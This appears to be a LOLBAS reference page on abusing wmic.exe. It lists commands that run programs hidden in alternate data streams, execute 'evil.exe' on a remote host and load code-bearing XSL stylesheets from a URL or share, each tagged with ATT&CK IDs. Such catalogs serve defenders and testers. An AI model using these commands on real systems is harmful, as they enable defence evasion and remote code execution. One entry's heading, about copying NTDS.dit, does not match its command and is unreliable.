.. /Wmic.exe
Star

Alternate data streams
Execute (WSH)

The WMI command-line (WMIC) utility provides a command-line interface for WMI


Paths:

Resources:
Acknowledgements:

Detection:

Alternate data streams

  1. Execute a .EXE file stored as an Alternate Data Stream (ADS)

    wmic.exe process call create "c:\ads\file.txt:program.exe"
    Use case
    Execute binary file hidden in Alternate data streams to evade defensive counter measures
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1564.004

Execute

  1. Execute calc from wmic

    wmic.exe process call create calc
    Use case
    Execute binary from wmic to evade defensive counter measures
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1218

  2. Execute evil.exe on the remote system.

    wmic.exe /node:"192.168.0.1" process call create "evil.exe"
    Use case
    Execute binary on a remote system
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1218

  3. Create a volume shadow copy of NTDS.dit that can be copied.

    wmic.exe process get brief /format:"https://raw.githubusercontent.com/LOLBAS-Project/LOLBAS/master/OSBinaries/Payload/Wmic_calc.xsl"
    Use case
    Execute binary on remote system
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1218

  4. Executes JScript or VBScript embedded in the target remote XSL stylsheet.

    wmic.exe process get brief /format:"\\127.0.0.1\c$\Tools\pocremote.xsl"
    Use case
    Execute script from remote system
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1218
    Tags
    Execute: WSH
    This LOLBAS executes scripts in Windows Script Host (WSH) languages, such as VBScript and JScript.